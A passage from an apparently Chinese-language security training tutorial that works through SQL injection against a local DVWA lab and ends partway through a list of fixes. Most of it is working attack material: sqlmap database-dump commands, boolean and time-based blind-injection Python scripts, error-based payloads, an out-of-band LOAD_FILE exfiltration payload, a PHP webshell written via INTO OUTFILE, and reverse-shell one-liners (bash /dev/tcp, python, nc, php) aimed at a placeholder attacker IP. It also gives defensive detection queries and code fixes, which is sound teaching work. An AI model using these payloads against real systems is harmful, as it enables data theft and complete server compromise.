|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
    mutual consent is illegal...
[*] starting @ 14:23:01

[14:23:01] [INFO] testing connection to the target URL
[14:23:01] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:23:01] [INFO] testing if the target URL content is stable
[14:23:02] [INFO] target URL content is stable
[14:23:02] [INFO] testing if GET parameter 'id' is dynamic
[14:23:02] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:23:02] [INFO] heuristic (basic) test shows that GET parameter 'id'
                  might be injectable (possible DBMS: 'MySQL')
[14:23:02] [INFO] heuristic (XSS) test shows that GET parameter 'id'
                  might be vulnerable to cross-site scripting (XSS) attacks

[14:23:03] [INFO] testing for SQL injection on GET parameter 'id'
...
[14:23:05] [INFO] GET parameter 'id' is 'Generic UNION query
                  (NULL) - 1 to 20 columns' injectable
[14:23:05] [INFO] the back-end DBMS is MySQL

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 7260=7260 AND 'vIJa'='vIJa&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
           GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 5870 FROM(SELECT COUNT(*),CONCAT(...)))-- &Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(...)-- &Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8302 FROM (SELECT(SLEEP(5)))nQpA)-- &Submit=Submit
---
[14:23:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.38, PHP 7.4.28
back-end DBMS: MySQL >= 5.0.12
[14:23:05] [INFO] fetched data logged to text files under
                  '/root/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 14:23:05

★ 重点看这几行(面试时能说出来):

1. GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
   → 确认注入点,类型是 UNION 注入,字段数在 1~20 之间

2. the back-end DBMS is MySQL
   → 识别出数据库类型(sqlmap 靠报错特征、函数支持等指纹判断)

3. 四种注入类型全部可用:
   boolean-based blind(布尔盲注)
   error-based(报错注入)
   UNION query(联合查询注入)
   time-based blind(时间盲注)
   → ★ 这四种就是 SQL 注入的全部主流手法,见 11 号 2.1.3

4. 每种都给出了可用的 Payload —— ★ 直接抄去手工验证

2.2.2 拖库三连

URL="http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit"

# ① 列出所有数据库
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --dbs
# 预期输出:
# available databases [6]:
# [*] dvwa
# [*] information_schema
# [*] mysql
# [*] performance_schema
# [*] sys

# ② 列出 dvwa 库的所有表
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch -D dvwa --tables
# 预期输出:
# Database: dvwa
# [2 tables]
# +-----------+
# | guestbook |
# | users     |
# +-----------+

# ③ 列出 users 表的结构
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch -D dvwa -T users --columns
# 预期输出:
# Database: dvwa
# Table: users
# [8 columns]
# +--------------+---------+
# | Column       | Type    |
# +--------------+---------+
# | user         | varchar(15)  |
# | password     | varchar(32)  |
# | user_id      | int(6)       |
# | ...          |          |
# +--------------+---------+

# ④ ★ 导出 users 表全部数据
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch -D dvwa -T users --dump
# 预期输出:
# Database: dvwa
# Table: users
# [5 entries]
# +---------+---------+---------------------------------------------+-----------+
# | user_id | user    | password                                     | avatar    |
# +---------+---------+---------------------------------------------+-----------+
# | 1       | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | ...       |
# | 2       | Gordon  | e99a18c428cb38d5f260853678922e03 (abc123)   | ...       |
# ...
#
# ★★ 注意括号里的内容:sqlmap 自动破解了 MD5!

# ⑤ 一次性拖走所有库的所有表(真实攻击)
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --dump-all

2.2.3 常用参数速查

参数 作用 什么时候用
-u URL 指定目标 总是
--cookie= 带 Cookie 需要登录时
-p id 只测某个参数 多参数时提速
--batch 自动选默认 ★ 总是加上
--dbs 列数据库 拖库第一步
-D db --tables 列表
-D db -T t --columns 列字段
-D db -T t --dump 导数据
-C user,password 只导指定列 字段多时
--where="id>3" 加条件 数据量大时
--start=1 --stop=10 只导前 10 行 ★ 测试时用,别拖全表
--level=1~5 检测深度 默认 1;测 Header 里的注入用 3+
--risk=1~3 风险等级 默认 1;3 会尝试 OR 型 payload(可能改数据)★ 生产慎用
--dbms=mysql 指定数据库 提速,跳过指纹识别
--technique=U 指定注入技术 B布尔 E报错 U联合 S堆叠 T时间
--threads=10 并发数 盲注提速(默认 1)
--flush-session 清缓存重测 改了目标后
--output-dir= 输出目录
-v 3 详细度 0~6 想看具体 payload 用 3

2.2.4 进阶:POST 请求与 JSON

# POST 表单注入(DVWA 的 medium 等级就是 POST)
sqlmap -u "http://127.0.0.1:8080/vulnerabilities/sqli/" \
       --cookie="$DVWA_FULL_COOKIE" \
       --data="id=1&Submit=Submit" \
       --batch --dbs

# 或:把请求存成文件,用 -r
# 1. Burp 抓包 → 右键 Copy to file → req.txt
# 2. sqlmap 直接读
sqlmap -r req.txt --batch --dbs
# ★ 这是最通用也最推荐的方式,Header、Cookie、Body 全保留

# JSON body 注入(现代 API 常见)
sqlmap -u "http://127.0.0.1:8888/api/user" \
       --data='{"id":1}' \
       --headers="Content-Type: application/json" \
       --batch --dbs
# ★ 注意:JSON 里 sqlmap 会在值后面加 * 指定注入点:{"id":1*}

# 指定注入点(多参数时只测一个,避免误伤)
sqlmap -r req.txt -p id --batch --dbs

2.2.5 看懂 sqlmap 在干什么(★ 面试加分项)

开 Burp 代理,让 sqlmap 走代理,你就能看到它发的每一个包:

sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --dbs \
       --proxy="http://127.0.0.1:8080"

你会看到它按顺序做这些事:

① 稳定性检测:连发几次相同请求,确认页面返回稳定
   (否则盲注的"页面变/没变"判断就不准)

② WAF 检测:发一些明显恶意的 payload,看是否被拦截

③ 启发式检测(heuristic):发 ' " ` 等特殊字符,看是否报错

④ 正式检测:按 boolean → error → union → time 的顺序试
   ★★ 关键:sqlmap 用的是【二分法】猜数据
       比如猜 database() 的第一个字符:
         问:ascii(substr(database(),1,1)) > 100 ?  → 有数据(真)
         问:ascii(substr(database(),1,1)) > 110 ?  → 无数据(假)
         问:ascii(substr(database(),1,1)) > 105 ?  → 有数据(真)
         ... 逐步逼近,7 次左右就能确定一个字符(ASCII 0~127)
       → 这就是为什么盲注很慢:一个字符要 7 次请求

⑤ 指纹识别:确定 DBMS 类型和版本

⑥ 按你的指令拖库

★ 面试话术:“sqlmap 判断盲注用的是二分法逐字符猜测,每个字符大约需要 7 次 HTTP 请求(log2(128))。这就是为什么盲注比联合注入慢得多——联合注入一次能拿走整张表,盲注一个字符要 7 次。防御上,如果能把报错信息关掉、把回显统一,攻击者就只能用时间盲注,那会更慢(每次还要 sleep),这样监控就有时间发现了。”


2.3 盲注实战(页面什么都不显示时)

场景:DVWA 的 Blind 模式(或真实生产环境)——页面只显示“存在/不存在”,不显示具体数据,也不显示报错。

2.3.1 布尔盲注

# DVWA 切换到 Blind
curl -s -b /tmp/c -c /tmp/c -X POST "http://127.0.0.1:8080/security.php" \
     -d "security=low" -d "seclev_submit=Submit" -o /dev/null

URL_BLIND="http://127.0.0.1:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit"

# 页面只有两种反应:
curl -s -H "Cookie: $DVWA_FULL_COOKIE" "$URL_BLIND" | grep -c "User ID exists"
# 输出 1 → 存在(真)

curl -s -H "Cookie: $DVWA_FULL_COOKIE" "http://127.0.0.1:8080/vulnerabilities/sqli_blind/?id=999&Submit=Submit" | grep -c "User ID is MISSING"
# 输出 1 → 不存在(假)

手工布尔盲注(理解原理,必做):

# ① 确认可以布尔判断
dvwa_blind() {
  r=$(curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
      "http://127.0.0.1:8080/vulnerabilities/sqli_blind/?$1&Submit=Submit")
  if echo "$r" | grep -q "exists"; then echo "TRUE"; else echo "FALSE"; fi
}

dvwa_blind "id=1' and '1'='1"    # TRUE
dvwa_blind "id=1' and '1'='2"    # FALSE
# ★ 能做真假判断 = 能做布尔盲注

# ② 猜数据库名的长度
dvwa_blind "id=1' and length(database())=4-- "    # TRUE  ← dvwa 是 4 个字符!
dvwa_blind "id=1' and length(database())=5-- "    # FALSE

# ③ 逐字符猜(★ 手工演示前两个字符)
#    第一个字符是 'd'(ASCII 100)
dvwa_blind "id=1' and ascii(substr(database(),1,1))>100-- "   # FALSE(100 不大于 100)
dvwa_blind "id=1' and ascii(substr(database(),1,1))=100-- "   # TRUE  → ASCII 100 = 'd'
dvwa_blind "id=1' and ascii(substr(database(),2,1))=118-- "   # TRUE  → ASCII 118 = 'v'
dvwa_blind "id=1' and ascii(substr(database(),3,1))=119-- "   # TRUE  → ASCII 119 = 'w'
dvwa_blind "id=1' and ascii(substr(database(),4,1))=97-- "    # TRUE  → ASCII 97  = 'a'
# → 拼起来:dvwa ✓

用脚本自动化(理解 sqlmap 在干什么):

#!/usr/bin/env python3
"""手工布尔盲注脚本 —— 理解 sqlmap 的原理。
★ 这个脚本你一定要跑一遍,它比任何讲解都直观。"""
import requests, sys

BASE = "http://127.0.0.1:8080/vulnerabilities/sqli_blind/"
COOKIE = {"PHPSESSID": "你的session", "security": "low"}

def query(payload):
    """发送 payload,返回 True/False"""
    r = requests.get(BASE, params={"id": payload, "Submit": "Submit"}, cookies=COOKIE)
    return "User ID exists" in r.text

def get_length(sql):
    """二分法猜长度"""
    lo, hi = 1, 100
    while lo < hi:
        mid = (lo + hi) // 2
        if query(f"1' AND LENGTH(({sql}))<={mid}-- "):
            hi = mid
        else:
            lo = mid + 1
    return lo

def get_char(sql, pos):
    """二分法猜第 pos 个字符"""
    lo, hi = 32, 126          # 可打印 ASCII 范围
    while lo < hi:
        mid = (lo + hi) // 2
        if query(f"1' AND ASCII(SUBSTR(({sql}),{pos},1))<={mid}-- "):
            hi = mid
        else:
            lo = mid + 1
    return chr(lo)

def dump(sql, maxlen=50):
    """拖出完整结果"""
    n = get_length(sql)
    print(f"  长度 = {n}")
    result = ""
    for i in range(1, n + 1):
        c = get_char(sql, i)
        result += c
        print(f"  [{i}/{n}] {result}", end="\r")
    return result

if __name__ == "__main__":
    print("[*] 猜数据库名...")
    db = dump("SELECT database()")
    print(f"\n[+] database() = {db}\n")

    print("[*] 猜表名...")
    tables = dump(
        "SELECT GROUP_CONCAT(table_name) FROM information_schema.tables "
        "WHERE table_schema=database()")
    print(f"\n[+] tables = {tables}\n")

    print("[*] 猜 users 表的列名...")
    cols = dump(
        "SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
        "WHERE table_name='users'")
    print(f"\n[+] columns = {cols}\n")

    print("[*] 拖 admin 的密码...")
    pwd = dump("SELECT password FROM users WHERE user='admin'")
    print(f"\n[+] admin password hash = {pwd}")
pip3 install requests
python3 blind_sqli.py

预期输出(会看到字符一个个蹦出来,非常有成就感):

[*] 猜数据库名...
  长度 = 4
  [4/4] dvwa
[+] database() = dvwa

[*] 猜表名...
  长度 = 14
  [14/14] guestbook,users
[+] tables = guestbook,users

[*] 猜 users 表的列名...
  长度 = 62
  [62/62] user_id,first_name,last_name,user,password,avatar,last_login,failed_login
[+] columns = user_id,first_name,last_name,user,password,avatar,last_login,failed_login

[*] 拖 admin 的密码...
  长度 = 32
  [32/32] 5f4dcc3b5aa765d61d8327deb882cf99
[+] admin password hash = 5f4dcc3b5aa765d61d8327deb882cf99

★ 反思时刻:观察一下这个脚本发起了多少次请求。 猜一个 32 位的密码,每个字符约 7 次请求 = 224 次请求。 如果你的接口有限流(比如每分钟 100 次),或者审计日志会记录异常请求,这种攻击就很容易被发现。 → 这就是“限流 + 日志监控”在防御盲注时的价值:它不能阻止注入,但能让攻击慢到没法用、或者被你及时发现。

2.3.2 时间盲注

场景:比布尔盲注更糟——页面永远返回一样的内容,连“存在/不存在”都不告诉你。 这时候只能用时间当信道:让数据库 SLEEP(5),看响应是不是慢了 5 秒。

# 判断(注意计时)
time curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/sqli_blind/?id=1%27%20AND%20SLEEP(5)--%20&Submit=Submit" > /dev/null
# 预期:real 0m5.213s   ← 慢了 5 秒,说明 SLEEP 被执行了 ✓

time curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/sqli_blind/?id=1%27%20AND%20SLEEP(0)--%20&Submit=Submit" > /dev/null
# 预期:real 0m0.098s   ← 立刻返回

# 用 IF 做条件判断(核心 payload)
# 如果数据库名第一个字符是 'd'(100),就 sleep 5 秒
id=1' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(5), 0)-- 
# URL 编码后:
id=1%27%20AND%20IF(ASCII(SUBSTR(database(),1,1))=100,SLEEP(5),0)--%20
#!/usr/bin/env python3
"""时间盲注脚本 —— 用响应耗时当信道"""
import requests, time

BASE = "http://127.0.0.1:8080/vulnerabilities/sqli_blind/"
COOKIE = {"PHPSESSID": "你的session", "security": "low"}
THRESHOLD = 3.0      # 超过 3 秒认为 SLEEP 生效

def timed_query(payload):
    start = time.time()
    requests.get(BASE, params={"id": payload, "Submit": "Submit"},
                 cookies=COOKIE, timeout=15)
    return time.time() - start

def is_true(condition):
    """用 IF(condition, SLEEP(3), 0) 判断条件真假"""
    p = f"1' AND IF({condition}, SLEEP(3), 0)-- "
    return timed_query(p) > THRESHOLD

def dump(sql, maxlen=50):
    n = 1
    while n <= maxlen:
        if is_true(f"LENGTH(({sql}))={n}"):
            break
        n += 1
    print(f"  长度 = {n}")
    out = ""
    for i in range(1, n + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if is_true(f"ASCII(SUBSTR(({sql}),{i},1))<={mid}"):
                hi = mid
            else:
                lo = mid + 1
        out += chr(lo)
        print(f"  [{i}/{n}] {out}", end="\r")
    return out

print("[*] 时间盲注拖库(会很慢,耐心等)...")
print("database() =", dump("SELECT database()"))

★ 时间盲注的致命弱点(也是防御的抓手):

  • 极慢:一个字符 7 次请求 × 每次 3 秒 = 21 秒/字符
  • 拖一个 32 位密码要 11 分钟
  • 网络抖动会导致误判
  • 每次请求都在你的慢查询日志里留下 SLEEP(5) ← 这就是检测它的最好办法

防御侧的检测规则:

-- MySQL 慢查询日志里搜这些特征
SELECT * FROM mysql.slow_log WHERE sql_text LIKE '%SLEEP(%';
SELECT * FROM mysql.slow_log WHERE sql_text LIKE '%BENCHMARK(%';
SELECT * FROM mysql.slow_log WHERE sql_text LIKE '%pg_sleep%';

-- 或者用 Prometheus + mysqld_exporter 监控慢查询数量突增

2.4 报错注入(最快的一种)

原理:故意让数据库报错,并把你想查的数据塞进报错信息里显示出来。 前提:页面会把 SQL 报错显示出来(生产环境绝不应该这么做,见 11 号 B19)。

2.4.1 MySQL 三种报错函数

# ① extractvalue() —— XML 路径错误
dvwa "id=1' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- "
# 预期:XPATH syntax error: '~dvwa~'
#       ★ 0x7e 是波浪号 ~,用来包裹数据方便定位

# ② updatexml() —— 同上
dvwa "id=1' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- "
# 预期:XPATH syntax error: '~root@localhost~'

# ③ floor(rand()*2) 分组报错 —— 最复杂但最通用
dvwa "id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- "
# 预期:Duplicate entry 'dvwa1' for key 'group_key'

一次性拖走所有表名(用 group_concat):

dvwa "id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'),0x7e),1)-- "
# 预期:XPATH syntax error: '~guestbook,users~'

# ★ 注意:updatexml 的报错信息最多显示 32 个字符
#   数据长的话要用 substr 分段读
dvwa "id=1' AND updatexml(1,concat(0x7e,substr((SELECT group_concat(password) FROM users),1,30),0x7e),1)-- "
dvwa "id=1' AND updatexml(1,concat(0x7e,substr((SELECT group_concat(password) FROM users),31,30),0x7e),1)-- "

2.4.2 报错注入为什么快?

注入类型 拖一个 32 位密码需要 请求次数
UNION 联合注入 1 次请求 1
报错注入 2 次请求(分两段) 2
布尔盲注 每字符 7 次 224
时间盲注 每字符 7 次 × 3 秒 224(11 分钟)

★ 防御启示:关掉报错回显,攻击者就从“2 次请求”退化到“224 次请求 + 11 分钟”。 一次配置改动,攻击成本上升 100 倍。这就是投入产出比最高的防御措施之一。

2.4.3 OOB 带外注入(盲注的加速方案)

当页面无回显、且 SLEEP 被禁用时,还有一个办法:让数据库主动访问你的服务器,把数据带出来。

需要 MySQL 支持 LOAD_FILE() 且能访问外网(Windows 上更容易成功)。

-- 让数据库去解析你的域名,数据放在子域名里
-- 你自己的 DNS 服务器上就能看到完整数据
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.your-domain.dnslog.cn\\abc'));

-- 或者走 HTTP
SELECT LOAD_FILE(CONCAT('http://your-domain.dnslog.cn/',(SELECT database())));

★ 关键认知:这提醒我们一件事——数据库服务器不应该有外网访问权限。 如果你的 MySQL 能访问公网,即使页面不回显,数据照样能被人带出去。


2.5 二次注入(最隐蔽的一种)

什么是二次注入:恶意数据先被存进数据库(第一次),当时没触发漏洞; 后来被读取出来拼进另一条 SQL(第二次),这时候才触发。

为什么危险:

  • 第一关的转义/预编译完全拦不住它(因为存进去的时候确实是“合法的字符串”)
  • WAF 也拦不住(数据是通过正常业务功能存进去的)
  • 极难被自动化扫描发现

2.5.1 实验(用 DVWA 的 SQLi 模块模拟)

# 场景:注册功能把用户名存进数据库,修改密码时用用户名拼 SQL

# ① 注册一个"恶意"用户名(注意末尾的单引号)
#    用户名:admin'#
#    这个用户名是"合法字符串",存进数据库完全没问题

# ② 现在这个用户修改密码,应用执行:
#    UPDATE users SET password='新密码' WHERE username='admin'#' AND ...
#    → # 是 MySQL 注释符,后面的条件全被注释掉!
#    → 实际执行:UPDATE users SET password='新密码' WHERE username='admin'
#    → ★★ admin 的密码被改掉了!

# 用 sqlmap 之外的方式理解:
mysql -h 127.0.0.1 -u root -p dvwa -e "
  -- 第一次:数据入库(经过了转义,看起来没问题)
  INSERT INTO users (user, password) VALUES ('admin\'#', md5('123456'));
  SELECT user FROM users WHERE user LIKE 'admin%';
  -- 输出:admin'#      ← 存进去了

  -- 第二次:应用读出这个用户名,拼进新的 SQL
  -- 假设代码是:\"UPDATE users SET password='\$new' WHERE user='\$name'\"
  -- 那么 \$name = admin'#  拼进去就是:
  --   UPDATE users SET password='hacked' WHERE user='admin'#'
  --   → 改的是 admin 的密码!
"

2.5.2 真实案例:修改密码功能

// ❌ 漏洞代码(这是真实项目中非常常见的写法)
public void changePassword(String username, String newPassword) {
    // username 是从数据库里读出来的(来源"可信"),所以没做处理
    String sql = "UPDATE users SET password = ? WHERE username = '" + username + "'";
    jdbc.execute(sql, newPassword);   // ★ 密码用了预编译,但 username 没有!
}
// ✅ 修复:★ 从数据库读出来的数据,再次拼进 SQL 时【同样要预编译】
public void changePassword(String username, String newPassword) {
    String sql = "UPDATE users SET password = ? WHERE username = ?";
    jdbc.update(sql, newPassword, username);
}

★ 铁律:数据来源是“自己的数据库”不等于“可信”。 判断标准不是“数据来自哪里”,而是“它有没有可能被攻击者控制“。 用户注册的用户名、上传的文件名、第三方接口返回的数据——全都是不可信的。


2.6 宽字节注入(GBK 编码的锅)

原理:MySQL 在使用 GBK 等宽字节编码时,会把两个字节当成一个汉字。 如果应用用了 addslashes() 或类似的转义(在 ' 前加 \), 攻击者可以在 ' 前塞一个高位字节(如 %df), 让 %df\ 被合并成一个汉字,于是 \ 消失了,' 成功逃逸。

2.6.1 图解

正常流程(有转义):
   输入:  id=1'
   转义后: id=1\'          ← \ 吃掉了单引号的特殊性
   SQL:   WHERE id='1\''   ← 单引号被转义,无法闭合 ✓ 安全

宽字节注入(GBK 编码下):
   输入:  id=1%df'
   转义后: id=1%df\'       ← 应用在 %df 和 ' 之间插入了 \
   GBK解码: %df\ 这两个字节被合并成一个汉字 "運"
   结果:   id=1運'         ← ★ \ 被"吃掉"了,单引号成功逃逸!
   SQL:   WHERE id='1運''  ← 语法错误,或者被我们闭合

2.6.2 实验

# 起一个 GBK 编码的 MySQL 环境(用 Vulhub 或自己搭)
docker run -d --name mysql-gbk --network lab-net \
  -e MYSQL_ROOT_PASSWORD=root \
  -e MYSQL_DATABASE=testdb \
  -p 127.0.0.1:3307:3306 \
  mysql:5.7 --character-set-server=gbk

sleep 30

# 建表
docker exec -i mysql-gbk mysql -uroot -proot testdb <<'EOF'
CREATE TABLE news (id INT PRIMARY KEY, title VARCHAR(100), content TEXT);
INSERT INTO news VALUES (1,'first','hello'),(2,'second','world');
EOF

# 模拟应用的转义 + GBK 查询
docker exec -i mysql-gbk mysql -uroot -proot testdb --default-character-set=gbk <<'EOF'
SET NAMES gbk;
-- 模拟:应用做了 addslashes,输入是 1%df' 变成 1%df\'
-- 这里用 0xdf5c27 表示:df 5c(\) 27(')
SELECT * FROM news WHERE id='1' AND 1=0 UNION SELECT 1,2,3; -- 正常
EOF

# ★ 实际验证:用 Python 模拟完整的转义流程
python3 - <<'PY'
# 模拟 PHP 的 addslashes + GBK 编码
user_input = "\xdf'"          # 用户输入的原始字节
escaped = "\xdf\\'"           # 应用转义后(在 ' 前加了 \)
print("转义后字节:", escaped.encode('gbk', errors='replace'))
# 输出:b'\xdf\\\''  ← 注意 MySQL 收到的字节序列是 DF 5C 27

# MySQL 用 GBK 解析:DF 5C 是一个汉字,27 是单引号
s = b'\xdf\x5c\x27'
print("GBK 解码:", s.decode('gbk', errors='replace'))
# 输出:運'    ← ★★ \ (5C) 被并进汉字了,单引号 (27) 逃逸成功!
PY

2.6.3 修复

// ❌ 错误做法:自己写转义
String safe = input.replace("'", "\\'");   // 宽字节环境下可被绕过

// ✅ 正确做法 1:预编译(根本解法)
jdbc.query("SELECT * FROM news WHERE id = ?", id);

// ✅ 正确做法 2:统一用 UTF-8,并且用 mysql 的真实转义函数
// JDBC URL 里明确指定:
//   jdbc:mysql://host/db?useUnicode=true&characterEncoding=UTF-8
//   &useServerPrepStmts=true&cachePrepStmts=true
//
// ★ 关键点:characterEncoding 必须和数据库实际编码一致,
//   不一致正是宽字节注入的温床

// ✅ 正确做法 3(不推荐但可用):mysql_real_escape_string 的 Java 等价物
//   它会在转义时【考虑当前连接的字符集】,不会留下宽字节漏洞

★ 现代开发中宽字节注入已经很少见了(因为大家都用 UTF-8 + 预编译), 但它是面试的高频题,因为它能检验你是否理解“字符编码”和“转义”的关系。


2.7 从 SQL 注入到 GetShell

这一步是 SQL 注入最严重的后果:不只是数据泄露,而是整台服务器被控制。

前置条件(MySQL 写文件的三个条件,缺一不可):

  1. 数据库账号有 FILE 权限(root 默认有)
  2. secure_file_priv 不是 NULL(MySQL 5.7+ 默认是 /var/lib/mysql-files/ 或 NULL)
  3. 知道网站的绝对路径(通过报错、@@datadir、phpinfo 等获取)

2.7.1 条件探测

# ① 当前用户是不是 root
dvwa "id=-1' UNION SELECT 1,user()-- "
# 预期:root@localhost  ← 有 FILE 权限的概率很高

# ② 查看 secure_file_priv(★ 决定能不能写文件)
dvwa "id=-1' UNION SELECT 1,@@secure_file_priv-- "
# 情况 A: /var/lib/mysql-files/   → 只能写到这个目录(较常见)
# 情况 B: (空字符串)              → 可以写到任意目录(最危险)
# 情况 C: NULL                    → 禁止写文件(安全)★

# ③ 找网站绝对路径
dvwa "id=-1' UNION SELECT 1,@@datadir-- "
# 输出:/var/lib/mysql/   → 推测网站在 /var/www/html/

2.7.2 写入 WebShell

# ★ 写一个 PHP webshell 到网站目录
# payload: 一句话木马,密码是 cmd
dvwa "id=1' UNION SELECT 1,\"<?php @eval(\\\$_POST['cmd']);?>\" INTO OUTFILE '/var/www/html/shell.php'-- "

# URL 编码版(实际用这个)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" -G \
  "http://127.0.0.1:8080/vulnerabilities/sqli/" \
  --data-urlencode "id=1' UNION SELECT 1,\"<?php @eval(\$_POST['cmd']);?>\" INTO OUTFILE '/var/www/html/shell.php'-- " \
  --data-urlencode "Submit=Submit"

# 验证是否写成功
curl -s -o /dev/null -w "HTTP %{http_code}\n" "http://127.0.0.1:8080/shell.php"
# 预期:HTTP 200  ← 文件写成功了

# ★★ 现在已经可以执行任意命令了
curl -s -X POST "http://127.0.0.1:8080/shell.php" -d "cmd=system('id');"
# 预期输出:uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl -s -X POST "http://127.0.0.1:8080/shell.php" -d "cmd=system('cat /etc/passwd');"
curl -s -X POST "http://127.0.0.1:8080/shell.php" -d "cmd=system('whoami');"

名词解释:

  • WebShell(网页后门):一个放在网站目录里的脚本文件,攻击者通过 HTTP 请求它来远程执行系统命令。它之所以危险,是因为走的是 80/443 端口,看起来就是正常 Web 流量,防火墙和 WAF 很难区分。
  • 一句话木马:最小的 webshell,PHP 版就是 <?php @eval($_POST['cmd']);?>。@eval() 会把 POST 参数当 PHP 代码执行。
  • GetShell:安全圈黑话,指“拿到了服务器的命令执行权限”。
  • 反弹 Shell(Reverse Shell):让目标机器主动连接你的机器。为什么不用“你去连它”?因为目标通常在防火墙/NAT 后面,你连不进去,但它能主动出来。方向反一下,就绕过了防火墙。

2.7.3 反弹 Shell(拿到交互式命令行)

# ① 你在自己的机器上开一个监听
nc -lvnp 4444
# 输出:listening on [any] 4444 ...

# ② 通过 webshell 让目标连接你
#    (新开一个终端)
curl -s -X POST "http://127.0.0.1:8080/shell.php" \
  -d "cmd=system('bash -i >& /dev/tcp/你的IP/4444 0>&1');"

# ③ 回到第一个终端,你会看到:
# connect to [你的IP] from (UNKNOWN) [172.20.0.3] 54321
# www-data@dvwa:/var/www/html$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# www-data@dvwa:/var/www/html$ ← ★ 拿到交互式 shell 了!

★ 如果目标没有 bash,用这些替代:

# Python 版(最通用)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# nc 版
nc -e /bin/sh 你的IP 4444
# 如果 nc 没有 -e:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 你的IP 4444 >/tmp/f

# PHP 版
php -r '$sock=fsockopen("你的IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

2.7.4 用 sqlmap 一键 GetShell

# sqlmap 提供了这两个开关,会自动做上面所有事情
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --os-shell

# 交互式选择:
# [1] 用 PHP 作为后端(默认)
# 然后它会在目标上写两个文件:
#   /var/www/html/tmpuxyz.php    ← 上传用的 stager
#   /var/www/html/tmpabcd.php    ← 命令执行的 shell
#
# 成功后你会看到:
# os-shell> id
# do you want to retrieve the command standard output? [Y/n/a]
# command standard output:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# os-shell> whoami
# os-shell> cat /etc/shadow

# --os-pwn 更进一步:直接给你一个带外(OOB)的 shell
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --os-pwn

★ 反思时刻 —— 攻击链回顾

输入一个单引号  →  发现 SQL 注入
      ↓
UNION 拖库      →  拿到所有用户密码(MD5,可破解)
      ↓
探测 FILE 权限  →  发现是 root,secure_file_priv 为空
      ↓
INTO OUTFILE    →  写入 webshell
      ↓
反弹 shell      →  拿到 www-data 交互命令行
      ↓
(真实环境下一步)提权到 root → 横向移动 → 内网漫游

这一切的起点,只是一个没做预编译的字符串拼接。

而打断这条链,只需要做对其中任何一件事:

  • 用预编译 → 注入点不存在
  • 关掉报错回显 → 攻击成本 ×100
  • 数据库账号不给 FILE 权限 → 写不了 webshell ★ 成本最低的一招
  • secure_file_priv=NULL → 同上
  • 网站目录不可写 → 同上
  • 网站以非 root 运行 → 拿到了也只是低权限

2.8 修复与复测(★ 最关键的一节)

2.8.1 修复清单

// ═══════ 修复 1:预编译(根本解法)═══════
// ❌ 之前
String sql = "SELECT * FROM users WHERE id = '" + id + "'";
// ✅ 之后
String sql = "SELECT * FROM users WHERE id = ?";
jdbc.queryForList(sql, id);

// ═══════ 修复 2:ORDER BY 白名单 ═══════
Set<String> ALLOWED = Set.of("id", "name", "price");
if (!ALLOWED.contains(field)) throw new IllegalArgumentException();

// ═══════ 修复 3:MyBatis 用 #{} 不用 ${} ═══════
// ❌ SELECT * FROM users WHERE name = '${name}'
// ✅ SELECT * FROM users WHERE name = #{name}

// ═══════ 修复 4:关掉报错回显 ═══════
@ControllerAdvice
public class GlobalExceptionHandler {
    @ExceptionHandler(Exception.class)
    public ResponseEntity<?> handle(Exception e) {
        log.error("internal error", e);           // ✅ 详细堆栈只写日志
        return ResponseEntity.status(500)
            .body(Map.of("code", 500, "msg", "系统繁忙,请稍后重试"));  // ✅ 前端只看到这个
    }
}

// ═══════ 修复 5:数据库账号最小权限(★ 成本最低、效果最好)═══════
